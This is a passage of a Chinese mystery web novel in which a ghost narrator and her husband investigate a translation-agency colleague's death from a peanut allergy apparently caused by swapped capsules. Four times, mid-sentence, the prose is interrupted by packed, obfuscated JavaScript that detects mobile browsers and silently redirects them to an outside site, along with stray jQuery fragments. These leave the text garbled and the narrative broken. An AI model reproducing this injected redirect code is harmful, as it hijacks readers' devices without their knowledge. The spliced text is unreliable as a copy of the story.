中年男思忖了几秒,很肯定地回道:“没下车,我一边打电话,一边盯着前面看。当时雨很大,所以围观的人也不多,视线并没被阻碍到。”
吴维点头示意他说下去。
“交警和救护车很快到了。我下了车,正好看到救护人员把朗逸的司机挪出车。”
吴维往前探了探头,问:“当时朗逸司机的情况如何?”
中年男想了想:“不怎么好。怎么说呢,有点神智不清的样子,脸好像也有点肿。”
吴维跟赵诗年说了几句,然后让中年男签了字:“你可以回去了。有什么情况,我们可能还会联系你,请保持手机畅通。”
“好的,好的。”中年男紧紧握住吴警官的手。
中年男离开后,吴维跟赵诗年说:“我去和梁淮谈谈。你去问问尸检报告出来了么?”
“好的,吴队。”赵诗年开了门,走出去。端木茵犹豫了一瞬,也跟着走了出去。
反正吴维要去见的是梁淮,她没必要跟过去。
倒是尸检结果,她很感兴趣知道。
***
解剖室。
“徐姐?”赵诗年从门后探出颗脑袋,“吴队让我来问问,尸检报告如何了?”
洗手池前洗手的徐静回头朝她笑笑:“怎么不进来?我这里有朋友送的阿拉比卡豆,还没开过封,一起尝尝?”
赵诗年忙摆摆手:“不了,徐姐,我还要回去交差。”
徐静关了水龙头,擦干手,伸出食指隔空点了点赵诗年:“你啊!”
赵诗年“嘿嘿”笑了声,进了解剖室。
“徐姐,”赵诗年声音甜了几分,听着跟撒娇似的,“我没在怕的。你看,每次不都是我来拿尸检报告么。”
“那是你们吴队训练你。”徐静随手拿起桌面上放着的尸检报告,签了字,“拿去,初步的尸检报告。”
赵诗年接过尸检报告,边看边读出声:“姚晓晨……性别女……死亡时间xx年xx月xx日12点28分……”小赵突然惊愕地瞪大双眼:“花生蛋白过敏致死?被害者不是车祸身亡?”
在解剖室里东张西望的端木茵也猛地抬起头。
花生蛋白过敏致死?
这就解释了那位司机为什么会说姚晓晨开车开到一半突然歪七歪八了。
应该就是那个时候,花生蛋白过敏开始发作了。
“鼻黏膜充血、血管性水肿,红斑……都是过敏症状*。”徐静冷静地说,“被害者死前呼吸急促,血压骤降,未迅速急救导致过敏性休克死亡。”
赵诗年手里还捏着那份尸检报告,喃喃道:“被害者当时在开车,她可能已经意识到自己过敏了。会不会是找抗过敏药的过程中操作不当发生了车辆侧倾,这可能是导致她没能及时服用抗过敏药的缘故。”
徐静点了点报告:“所有细节我都写在报告里了。有一点很奇怪,我标注出来了。被害者虽是花生蛋白过敏休克死亡,但我在提取口腔容物时,并未在她的口腔内提取明显花生残留。”
赵诗年诧异:“什么意思?”
徐静抱着双臂,靠在桌前:“我在她口腔里提取到苹果和黑麦土司的残留,很少,但有残留。黑麦土司可能是上午吃的,苹果是临近中午吃的。我只在她的舌背上提取到微量,很微量的、研磨得很细的花生粉。”
“花生粉?怎么会是花生粉?”赵诗年皱眉沉思,“花生不是被害者自己咀嚼的?”
赵诗年和徐静又聊了两句,才道:“吴队还在等着要报告,我先回去了。”
徐静摆摆手,已弯腰去找她藏在柜子里的阿拉比卡咖啡豆了:“去吧,去吧。”
端木茵跟着赵诗年出了解剖室。
赵诗年一面走一面翻看着手里的尸检报告。走到拐角处,差点撞上迎面疾步走来的一位寸头警官,她赶紧行礼致歉:“不好意思。”看清是谁,她“哎”了声,“胡知珩,吴队不是让你去查白色朗逸了么,你怎么这么快就回来了?”
胡知珩伸手胡乱擦了把额头上的汗水:“哥效率高,查完了可不就回来了。”
赵诗年用手肘戳了戳胡知珩小肚:“查到什么了?先透露一下。”
胡知珩“嘿嘿”了声,道:“副驾驶座上的包拉链拉开了一半,被害者的手机搁在中控台上,我就在想,她拉开皮包的拉链,肯定不是找手机。我又仔细地找了找,你猜,我在驾驶座底下的小凹槽里找到了什么?”
看着胡知珩一脸“你肯定猜不到”的表情,赵诗年笑眯眯地凑近他,嘴角的笑容暴露了她内心的得意:“找到什么?左不过是抗过敏药,还是抗过敏药的药瓶?”
“绝了!你怎么猜到的?抗过敏药的药瓶。”
赵诗年
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377074|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扬了扬手中的尸检报告,说:“看到吧,尸检报告是我刚从徐姐那拿来的。看到上面写什么了么?过敏性休克死亡!”
“切。我还想你怎么蒙对得呢?”胡知珩拍了拍额头。
赵诗年推着他的后背,道:“快走吧。吴队等着尸检报告报告呢。”
刑警支队大队长办公室内,梁淮站起身来,和吴维握了握手:“差不多就这些吧,要是再想到什么,我打电话给你。”
“随便什么时间都可以打,不用顾忌。我要是没接,就是在忙,你晚点再打就是了。”
“嗯,知道。”
办公室门口,赵诗年和胡知珩推搡着都想先进门。老吴眸光微凝,铁青着脸咳了两声,两位年轻警官即刻站直了身体。
梁淮望了眼走廊,端木茵靠在墙上,低着头看着脚底下。他心下微惊,想着阿茵不会又不舒服了吧。
他快步走了过去,压着嗓音说:“怎么了?还是不舒服?”
端木茵抬头,恰好与梁淮深黑的眼眸对上。
“没有。”她轻轻摇了摇头,“就是在等你。”
他“嗯”了声,没多话,只是挨着她站在墙边。
“跟老吴谈完了?”梁淮一直称吴维“老吴”,端木茵现在也嫌“吴警官”称呼起来太生疏,便跟着梁淮叫吴维“老吴”。
“谈完了。尸检报告有消息了?”
端木茵点头:“梁淮,姚晓晨不是死于事故,她是死于花生蛋白过敏。”
梁淮瞥了眼办公室里,两个小辈正争先恐后地跟吴维汇报着什么,吴维无奈地捏了捏眉心,抬头,眼眸似乎往这儿扫来。梁淮伸手握住了端木茵的手,说:“我们去外面说。”
雨已经停了,即使下了场大雨,气温并没有降下来很多,车里的气温还是高得吓人。梁淮打开空调,端木茵坐在还有点烫皮肤的副驾驶座上,把在解剖室里看到的事说了一遍。
端木茵侧着身子,脑袋靠在头枕上,悠悠地开口:“晓晨姐应该知道自己对花生是过敏的。上次我带了巧克力西番尼分给大家,她拒绝了。可我知道她是爱吃甜食的,她还自己做过冰激凌小泡芙、抹茶曲奇带给我们。
“刚刚在走廊里等你的时候我就在想,晓晨姐她性格很好,从来都是大大方方的,别人有小点心分享给她,她开心接受,她也会分享给别人小零食,但她却拒绝了我的西番尼。之前我一直想不明白,但现在……”
端木茵沉默了几秒,再开口,“西番尼入口绵密浓郁,因为它一层蛋糕一层花生酱,厚厚的一块西番尼里有几层花生酱。
“你能想像一个对花生过敏的人看到西番尼的时候会有多恐惧了吗?
“她知道自己对花生过敏,所以在吃方面很小心。我很难相信她会误食花生。
“花生是在她不知情的情况下食入的。”
16. 第十六章 八月二十二日
车里一片寂静,只有偶尔几滴从树叶上被微风吹落下来的雨滴砸到车顶发出的响声。
梁淮沉默半晌,低声说:“你刚才说,小胡在驾驶座底下找到抗过敏药的药瓶,这是不是说明姚晓晨开车开到一半开始感到不对劲了。那边路旁好像不能停车,她只好一手开着车,腾出另一只手拉开副皮包的拉链找抗过敏药。可能拿的过程中药瓶掉了,她选择了一边开车一边捡药瓶。”他坐正些,摊开双手,“事实证明这样做很危险,车子侧倾,她也失去了服用抗过敏药的最佳时间。
“至于她如何食入花生,你怎么看?”
端木茵依旧靠在头枕上,恹恹地:“法医说临近中午的时候,晓晨姐吃过苹果,还说,她上午吃过黑麦土司,这两样的东西都没问题。然后就是花生粉了。奇怪的是,法医说,她只在晓晨姐口腔内提取到很微量的花生粉。很微量的话,不会致死吧?”
梁淮抿了抿薄唇。
不是他的专业,他也不能已阅乱答。
见梁淮不语,端木茵继续说下去:“我在想,花生不是晓晨姐自己咀嚼的,那么就是通过别的方式食入。”
“比如?”梁淮问。
“我也不知道。她约你12点30见面,前台小妹妹说她12点出去吃午饭的,那个追尾的司机说他打完122电话的时候是12点18分,时间上对得上。
“然后法医说她临近中午吃过苹果。那应该是在离开公司前吃的。可能她知道要跟你见面谈事,没时间吃饭,便在出门前吃了个苹果垫垫。”
梁淮点头:“这个说得通。”
被鼓励了,端木茵精神点了,大脑飞速转动,想理出信息碎片之间的逻辑:“晓晨姐她对花生过敏,如果花生粉是离开公司前食入的,那不会等到快要到商场的时候才发作,而会在那之前就会发作了。
“但如果是离开公司之后的话,一边开车一边吃东西不符合她谨慎的性格,更何况她是不能食用花生的。
“那我可不可以理解为,花生粉是在晓晨姐她离开公司前就食入的,只不过,花生粉是被包裹在某样东西里,这让她不但没有识别出食物里含有花生,也让她没有即刻接触到花生粉。”
梁淮轻笑:“你不如直接说,她吞食了裹了花生粉的胶囊。”
“梁淮,你这不是埋汰我吗?”
“哪有?我多冤枉。”
端木茵不好意思地笑了出声来,她朝驾驶座挪近了些,说:“我好像在晓晨姐的桌上看到过一瓶葡萄籽胶囊。”
“葡萄籽胶囊?”
“抗氧化的,每天吃一粒,吃了皮肤白,像我这样白。”端木茵用食指戳了戳自己的脸颊。
平心而论,他可不认为葡萄籽胶囊在美白方面多有用。他又不是没见过姚晓晨,皮肤是比普通人白,但和阿茵比还是差了点。
阿茵的皮肤白得很细腻,还有点晶莹剔透的感觉,捏起来手感也好,滑溜溜的。
手又有点痒了,但到底是忍住了。梁淮咳了声,继续之前的话题:“胶囊被换了。”
“你看,嫌疑人范围还是没变。知道姚晓晨有吃葡萄籽胶囊的习惯,而且还是能接触到葡萄籽胶囊瓶的人还在我们翻译社内。”端木茵终于把话题聊到关键点了。
梁淮:“你说完了?那我来补点细节。”他停顿了几秒,像是在想从哪里开始说起,“还记得我打电话给老吴,问他中元节那天,姚晓晨是几点离开公司的吗?”
端木茵问:“他怎么回答你的?”
“老吴让人去查了监控。”
端木茵催促着问:“然后呢?”
梁淮望着端木茵,眼神意味深长:“然后,去查看监控的人说,中元节那天,姚晓晨没有离开公司。”
端木茵诧异:“怎么可能?她在我之前就下班了。”
“我没不信你的话。只是,你的证词只能证明,中元节那天,快20点的时候看到她站在办公室门口跟你打了声招呼,并没看到她真的坐电梯或走楼梯下楼。”
想起那晚的姚晓晨站在办公室门口,笑着跟她说“早点回去吧,别把自己绷得太紧”。梁淮说的没错,她只看到了姚晓晨跟她打招呼,之后姚晓晨做了什么她并没看到。
端木茵仰头,深吸一口气,努力让自己冷静下来。
“好,你再说下去。”
“后来,我们在医院里遇到她的时候,出于礼貌她问了句‘来看病啊’。当我回答说是去来接夏老师的。你还记得她当时的表情吗?”梁淮问。
“她本来想说什么的,但最后没说。”
梁淮点头赞同:“她欲言又止,而且还有点自责。”
“梁淮,你是想说,有关我的死,她其实知道点什么,但是她没敢说出来,所以才会内耗自责?”
“差不多。我怀疑,中元节那天,她可能去卫生间方便了,也可能是别的什么原因,这个我不是很清楚。总之她没有即刻离开六楼,这让她真实下班的时间要比你以为的要晚,也让她,在时间上,有机会目睹你被杀害的过程。”
端木茵顺着梁淮的思路推断:“她没敢说出来,是怕被凶手盯上,成为下一个受害者。所以那天我们去公司拿东西的时候,我就觉得她气色很不好,可能是因为她一直处于很紧张的状态。
“今天她打电话给你,是想跟你坦白吧,但凶手听到了她和你的通话,于是决定在她和你见面前,把她做了。”
说到这,端木茵又摇了摇头,否定自己的推理,“也不对,如果凶手是那个时候才意识到姚晓晨是目击证人的话,凶手会用更直接、更粗暴的方式解决她,比如像解决我一样,用力一推,‘噗’,人就没了。
“凶手在那之前就已经在为杀害姚晓晨做准备了。你想啊,他/她要准备花生粉;要绞尽脑汁想如何做掉姚晓晨还不会被怀疑,毕竟同一个公司已经死了一个同事了,再死一个,终究要引起警方注意的;还要趁姚晓晨不在办公室的时候换胶囊……”端木茵说完阴阳怪气地补了句,“凶手还怪忙的!”
梁淮抿唇笑了起来,问:“有怀疑对象吗?”
“没有。晓晨姐的死并没有帮我们缩小嫌疑人范围。”端木茵颇有点遗憾地说。
梁淮坐正了些,把手搭在方向盘上:“想不出来就别逼着自己硬想了,先让脑子休息休息。”
端木茵无奈地撇了撇嘴:“嗯,那回去吧,村霸还饿着呢。”
“它才不会饿着自己。”
“梁淮,是我错觉吗?你是不是对村霸不满意?”
“有什么不满意的?我自己的女儿,再渣再坏,我也只能宠着。”梁淮启动了车,慢慢转动方向盘。
端木茵:“说的好像它是渣猫似的。”
“难道它不渣吗?阿茵,别因为它是我们的女儿你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377075|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就看不清它的本色。之前它看上隔壁的蛋黄,天天跑阳台上,眼巴巴地想看蛋黄一眼的事你还记得的吧?不让它去阳台,它叫得比谁都凄惨。后来人家蛋黄跟它好了后,它又对蛋黄爱理不理的。这不算渣,什么才算渣?”
端木茵咯咯地笑起来,突地笑不出来了。
是她多心了吗?
为什么她会有种被人内涵的感觉?
以前她追梁淮也是天天变着法子发朋友圈就想他给她点个赞;
约小柔吃饭,忽悠小柔带上她哥,借口她们每次都吃不完,浪费粮食多可耻。梁淮不好请,他好像很忙,三回有两回拒绝,小柔说做他们金融分析师的是这样的,忙得要死。
总算来一回,她会记下梁淮爱吃什么,会注意他穿什么式样的衣服更好看,会猜他是不是注意到她特意化的妆……
他随意抿唇轻笑,她能失魂半天;他随口一句客气话,她能回味许久。
再后来,他们恋爱了,每晚,她守着手机就为了等他说一声“晚安”;
最初的婚后甜蜜过去后,生活倒不至于如一滩死水,只是她总觉得缺了点热恋期的激情。
她多次问自己,她以为的怦然心动的爱情,会不会是吊桥效应下产生的“肾上腺素”。
毕竟第一次见到梁淮是在派出所。
在经历了酒吧的混战后,她又后怕又疲惫,拿酒瓶砸人的右手忍不住地直哆嗦。她不停地搓脸,想让自己冷静下来,抬眸,恰好看到梁淮站在门口,高大、沉稳,帅气,说——回家了。
端木茵深吸一口气。
真是的,她怎么又想起那些乱七八糟的事了。
偷瞄梁淮一眼。他倒像没事人似的。
“先去我们公司吧。”她说。
“嗯?”梁淮看了她一眼,“怎么了?”
“没什么。就想去晓晨姐的办公室看看,也许能发现点什么。”
凶手也许还不知道姚晓晨死了。她最好能在凶手得知姚晓晨的死讯,并清除掉某些作案痕迹前去姚晓晨的办公室看看。
梁淮没说什么,启动了车子。
有对中年夫妇从一辆车上下来,女的脚步踉跄,男的脚步也不利索。
“是晓晨姐的父母吧?”
“应该吧?”
“夏老师得知我的死讯时,是不是也是这样?”
梁淮抿了抿嘴,没回答。
端木茵叹了口气,直接换话题:“梁淮,你一会儿就别上楼了。反正没人能看到我,我一个人去反而不引起人注意。”
“那我在对面的便利店等你。”
“去LaBrujita等我不好吗?”
那家便利店又小又窄,客人多的时候就显得拥挤。
梁淮:“你知道我不爱喝咖啡。”
那倒是,端木茵想起前一天梁淮喝那杯美式时紧蹙的眉头。
“那行吧。”
***
资源部的曹谦文不知道去哪了,办公室门敞开着,但里面空无一人。
端木茵心中窃喜。
虽说别人看不到她,但若是真有人在,即使看不到她,她还是会有那种偷偷摸摸干坏事的感觉。
姚晓晨的办公桌上,除了电脑、笔筒和台历,还放着她的保温杯和半包没吃完的黑麦土司。
可原本在的葡萄籽胶囊瓶却不见了踪影。
17. 第十七章 八月二十二日
端木茵回想了下。她应该没记错,胶囊瓶一直放在笔筒旁,她见过几回了。
公司除了社长办公室和财务部,其他部门的办公桌都不带抽屉,这倒省了端木茵翻抽屉的麻烦。
下车前,梁淮特意叫住她,说虽然她现在变成了阿飘,照理说不会留下指纹,但万一呢,还是尽量别触碰任何东西。梁淮难得那么罗嗦,且说得在理,她自然听劝,所以从她进资源部的办公室后就很小心不在任何地方留下自己的痕迹。
索性,整个办公室一目了然。
办公桌上没胶囊瓶,置物架上也只搁着几个大文件夹。
胶囊瓶不可能莫名其妙地消失的。
思忖了几秒,端木茵蹲下来,探脑去看办公桌下的废纸篓。
废纸篓里只有一个苹果核。
她用手托着下巴,想着还有什么地方是她忽视了的,资源部的曹谦文手里拿着个文件夹,和项目部的禾川一前一后进了办公室。
“我又不知道姚晓晨把东西放哪了,你要不等她回来?”曹谦文的语气总给人一种他在生闷气的感觉。
禾川:“可我现在急着有用。”
曹谦文将手中的文件夹放在自己的办公桌上,颇不耐烦:“你自己联系她吧,问问她把东西放哪了?”
“我发信息给她了,但她没回我。”禾川回道。
端木茵注意到禾川胸前别了串白兰花。白兰花香味浓郁,她隔了两三米远也能清楚地闻到。
曹筱文沉下肩膀,拿出手机,发了条信息给姚晓晨。
【曹谦文:那啥,你什么时候回来?禾川找你有事。】
等了两分钟,那头没有回复。
曹谦文朝禾川摊开手:“她也不回答我。”言下之意再明白不过,她不回答我,我也没办法,你自己搞定吧。
这可不是禾川想要的结果。她两手撑在办公桌上,问:“不是,晓晨姐跑哪去了?这都几点了,她今天还会回公司的吧?”
曹谦文已经打开文件,开始工作:“她出去的时候可没说去哪了。你要不问问别人,那谁不是和她关系挺好么。”
话才说完,就听到有人敲门。
端木茵朝门口看去。
社长于森站在办公室门前。
端木茵还记得梁淮问她对于森的看法时,她的回答是——名校毕业,单身,一米八以上,长相中上,无不良嗜好。
平心而论,于森其实长得不赖,比她说的中上更上点。寸头,配上略深的肤色,宽肩窄腰,更像学校的体育老师,倒不像搞翻译的。
于森朝她这边望了眼,眉头小幅度地蹙起。
明知道于森看不到自己,端木茵的心还是一下子提了起来。
“姚晓晨呢?叫她来一下我办公室。”于森还蹙着眉,看上去比平时要严肃点。
曹谦文站起身,忙回道:“她……她还没回来。”
于森捏了下眉心,走到姚晓晨办公桌跟前,眼看着他的脚尖要踢到自己了了,端木茵下意识地往后缩了缩。
他停下脚步,微微弯腰,看着置物架上姚晓晨给文件夹贴着的标签,一面问:“知道她什么时候回来吗?”
话是问曹谦文的。曹谦文支支吾吾:“她没说。哦,对了……”
于森抽出一份文件夹,回过头,掀了掀眼皮,示意他说下去。
曹谦文斟酌了几秒:“午休前,她偷偷打了个电话,约了人见面。”
端木茵窝在办公桌下,听着曹谦文说的话,火气就上来了。
什么叫偷偷打了个电话。她最不喜欢别人使用“偷偷”之类暗戳戳的用词,说得倒好像姚晓晨背着别人做了见不得人的事似的。
于森对姚晓晨约谁见面似乎并不感兴趣。他合上文件夹,说:“那你们忙,姚晓晨回来了叫她去我办公室。”
留下这句话,于森大步离开。于森走后,禾川也回自己办公室了。
室内恢复寂静。
端木茵从办公桌下钻出来,拉了拉裙摆。
关键的胶囊瓶不见了,再待下去也查不出什么名堂来。梁淮还在对面的便利店等她,公司里的同事大多都见过梁淮,万一被谁认出,多嘴提一句,总归弊大于利。
***
梁淮坐在便利店靠窗吧台的位置,盯着对面办公楼的大门口。
从端木茵进办公楼后,已经过去大约20分钟了,他知道除了他没人能看到端木茵,但心里总还有些不放心她。
阿茵胆大仗义,做事全凭一时冲动。
比如他第一次见到端木茵就是因为她和小柔在酒吧跟人起冲突进了派出所。
那晚,小柔哭着给他打电话,哭得太厉害导致话都讲不清楚,他扶着额头想对小柔说能不能找个能把事情说清楚的人来跟他说,突然有人把手机夺了过去。
“喂,是梁柔哥哥吗?我们在派出所,您能来一趟吗?定位我发给您。”
那是一个清朗的声音。他以为是派出所的民警,便说马上过去。
他打了个电话给一个律师朋友后,以最快的速度
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381949|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赶到派出所。领他去询问室的民警是个三十出头的男民警,明显不是跟他通话的民警。
询问室里,他第一眼就注意到了那个头发乱糟糟、穿着黑色紧身短裙的女孩,腿长腰细,曲线玲珑,坐在那里,握成拳头的手抖得跟患了帕金森病似的。
她在害怕。
他脑子里闪过这样一个想法。
后来他才知道。
电话里给他发定位的就是这位因为后怕而手抖得厉害的姑娘。
她不是派出所的民警,她是小柔臭味相投的闺蜜。
是那个高一和小柔一起逃课;高二陪小柔在广播站告白;高考结束,瞒着家长,买了火车票,去国内最高跳塔蹦蹦极的女孩;
臭味相投归臭味相投。他还是有点佩服这小姑娘的。
砸了人脑袋,即使害怕到手抖得厉害,跟他讲电话的时候还能淡定地把事说清楚,不像家里那位会闯祸的小妹,慌了神,只会哭唧唧。
送她回家的路上,她和小柔坐在后排座,小柔那会儿倒能言善道了,叽叽喳喳的声音充盈整个空间。
他有点头疼地看了眼后视镜,才发现,那个女孩也在看他。
有店员过来收拾吧台上上一个客人没收走的垃圾。
梁淮的思绪被拉回。他抬眸看了眼马路对面,端木茵从办公楼里出来,看到他,朝他挥挥手,十分孩子气。
梁淮垂下头,抿着嘴,偷偷笑了一下,再抬头时,似乎看到对面办公楼有个人影闪过。
他眯着眼,想看清些。但那个人影不见了。
梁淮数了下楼层。
六楼。
又是六楼,是巧合吗?
他不敢确定。
隔着玻璃,端木茵的脸出现在面前。她用食指指了指感应门,梁淮了然,感应门能感应“人”,却感应不了“阿飘”。
起身,佯装丢垃圾,走到感应门旁。
门打开,端木茵走了进来。
“你刚刚在看什么?”她问。
坐回吧台前,梁淮用手指给她看刚刚出现人影的地方:“那里,刚刚看到个人影。”
端木茵顺着他手指的方向看过去:“那里?那不是我被推下楼的楼梯间?”
“是那里?!”梁淮沉默了很久,才开口,“你那边怎么样?有什么发现吗?”
端木茵收回视线,与梁淮对视:“胶囊瓶不见了。”
梁淮抬眉,重复道:“不见了!”
他把手搭在吧台上,目光再次看向对面大楼。
18. 第十八章 八月二十二日
“没关系。总会有别的线索的。”
虽然是安慰她的话,但端木茵还是从梁淮的声音里听出了少许的失望。
平心而论,梁淮对她的事上很上心。她的案子其实等警察去查就好,他一个做金融分析的,工作又忙,唯一的几天假期也用在跑这跑那查这查那上了。
她不想梁淮担心她,便故作没听出来他声音里的失望,还将在姚晓晨办公室查到的情况叙述了一遍。
梁淮沉默不言,偶尔“嗯”两声意思有听进去。
端木茵的叙述被一声“欢迎光临”打断。
是便利店的感应播报器响了,有客人进来。
端木茵扭头,马上又回过头,捂着嘴轻声对梁淮说:“刚刚进来的人就是那个丁维。”她总忘记,除了梁淮,其实也没人能听到她说话。
梁淮眯着眼,稍微倾斜了身子,视线越过坐在他身旁的端木茵,瞥向收银台前的男人。
背对着他,梁淮无法看清丁维的长相,只能估计他的身高。男人目测一米八,看得出平时没少锻炼,白衬衫在梁淮看来不太合身,束在黑色西装裤里,勾勒出腰部肌肉轮廓。
就有点……骚包。
丁维将两瓶贝纳颂放在柜台上,一瓶曼特宁,一瓶低糖曼巴,又拿了包蓝莓味海绵蛋糕。手机提示音不停地响起,他一面忙着在手机上打字一面说:“一盒润喉糖。”
“哪个牌子?”店员问。
“随便。”丁维回道,太过专注打字,他头也没抬一下。
店员撇了撇嘴,随便拿了一盒卖得最好的润喉糖一起结账。
丁维扫码付了钱,把润喉糖糖罐塞进裤兜里,手里捏着两瓶贝纳颂还有那包海绵蛋糕来到吧台,在和梁淮隔开两个座位的位子上坐下。
打开一瓶贝纳颂曼特宁,喝了两口,手机又“叮”了声。
大约是觉得打字麻烦,这回他没打字,改成了发语音。
丁维咳了声:“警察……”提到“警察”两字时,他朝梁淮看了眼,见梁淮关注着自己的笔记本电脑上的图表,才压低了声音继续说,“问你什么了?”
对方回了他一句什么。
他用手捏了捏拧得很紧的眉心,回道:“没我什么事,就问了我十一号到十四号人在哪?我能在哪?肯定在公司啊,你不是知道的么。”
对方又回了他一句。
丁维有点不耐烦:“谁知道?随便问问吧。警察不就喜欢问东问西么?”
端木茵没放过丁维的任何一个表情。她想从他脸上看出点心虚或是别的什么。
大概丁维掩饰得太好,她并没看出他对“十一号到十四号”发生的事有特别的敏感。与其说丁维心虚,端木茵在他脸上看到了更多的不耐烦。
丁维:“那个板寸头还问我要了考勤打卡记录。嗯,我怎么感觉他们在调查不在场证明。”
板寸头指的是老吴。端木茵在心里轻哂一声——对呀,板寸头就是在查不在场证明,蠢蛋!
她挪了挪,朝梁淮靠近了些,凑在他耳畔轻声说:“我听着怎么觉得对面那位也是我们翻译社的人。”
老吴他们应该是查出望槐桥案被害者的身份了。他们来查不在场证明,说明警方确认了她可能目击到槐桥案凶手的说法。
警方把嫌疑人划在了能看到她朋友圈的人的范围内。这个范围,包括她的家人、朋友和同事。她死在公司,公司的同事便成为了重点调查对象。
梁淮握拳抵在唇边轻咳了声,并不回答她。
靠得近,她的声音听上去反而带了点回音,颤得他耳朵痒痒的,就像有小虫子钻进了他耳朵,爬来爬去。
“梁淮,你的耳廓怎么红了?”端木茵像是发现了不得了的事。她用手指捏了捏梁淮的耳垂,完了又轻搓了下他的耳廓。
好像比之前还红了。
梁淮抬手攥住她的手腕,拉下,轻放在自己腿上,掌心压在她手背上,没用力,却也让她不再乱动。
他看着她,无声地说了句“别乱动”。
端木茵坐好,想抽回自己的手,没想到梁淮手上的力道有点大,握着她的手不放。
他手指微动,无意识地摩挲着她的手背。
端木茵轻咳了声,告诫自己把心思放在在丁维的谈话上,别老被梁淮红了耳廓之类的事分散了注意力。
那头,丁维的手机“咚”了声。
丁维拿了手机看了眼,眼里明显多了份意外:“你听到他们之间在提三中?”
对方回了他一句。
他又咳了声:“你还听到了什么?”
“是吗?”
“知道了,知道了,我马上回去。”丁维喝完最后一口曼特宁,拿起吧台上的低糖曼巴和海绵蛋糕,起身,走出了便利店。
梁淮总算把手掌从她手背上拿开。端木茵揉了揉自己的手,说:“你怎么看?”
“老吴他们可能查出望槐桥案被害者的身份了。”
端木茵:“三中的。”
梁淮点了点头:“可能。”
“挺奇怪的。三中虽不是本市最好的中学,却也算不错的学校,怎么会冒出这种小偷小摸的人物来?”
梁淮:“只能说,再好的学校也有差生吧。”
端木茵想了想,觉得梁淮的话也不是没道理,便没再继续谈三中的事,而是转了话题:“你觉得丁维这个人怎么样?”
“不是我会选择打交道的人。”梁淮认真回答。
“怎么说?”
“他给人种不舒服的感觉,硬要我说哪里有问题,我也说不上来,可能是我看不惯同时和几个女人暧昧的男人吧。”梁淮摸着下巴说。
端木茵单手托着腮,问:“你也看出来了,是吧?”
梁淮轻笑:“都能帮对方带饮料甜食,说明和同事之间的关系还是不错的。那么,正常同事关系,他关心警方的调查,或是有疑问,为什么不直接在公司问?他是不想让别的同事看出来他和某位同事有正常同事关系外的关系。”
端木茵轻轻摇头,纠正了他的说法,“不是不想让别的同事看出来他和某位同事有正常同事关系外的关系,他是不想让‘某女同事’看出他和另一个‘某女同事’之间有正常同事关系外的关系,也不想让那另一个‘某女同事’看出来他和‘某女同事’之间的非正常同事关系。”
梁淮点头:“有点绕,但你说得对。
“他去柜台结账的时候,手机有信息进来,那个时候提示音是‘叮’。后来,提到三中的时候,手机提示音变成了‘咚’。语音没有外放,我们仅听得到丁维这边说的话。他一直在聊警方调查的事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387746|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听的人就下意识认为他从头到尾都在和同一个人聊。”
“很多男人,不是说所有男人,但是有相当一部分男人喜欢同时和多个女人,嗯……怎么说呢,喜欢同时和多个女人‘暧昧’。这边和一个谈着,那边和另一个聊着,又怕穿帮,有点自以为小聪明的会做些小动作来掩饰。比方说,设置不同的手机提示音,更甚,设置免打扰。
“当然,仅仅是提示音不足以说明他两头暧昧。
“两瓶咖啡,一瓶曼特宁,一瓶低糖曼巴。他自己喝了曼特宁,低糖曼巴是给某位控糖女士带的。既然控糖了,就不可能吃蓝莓味海绵蛋糕那么甜的甜品。这个我没说错吧?”
端木茵存心为难他:“蛋糕也可以是丁维买给自己的。”
梁淮:“阿茵,姓丁的他一直在咳嗽,还买了润喉糖,这说明什么?说明他喉咙不舒服。高糖会刺激咽喉,也不利于排痰,所以海绵蛋糕不是买给自己吃的。
“总之,你要问我对他有什么看法。我还是这句话,他不是我会选择打交道的人。
“还有……”梁淮站起身,合上笔记本电脑,把笔记本放进电脑包里,说,“他的衣着品味真的很差。”
***
坐到车里,系好安全带,端木茵看着驾驶座上的梁淮,问:“还去三中吗?”
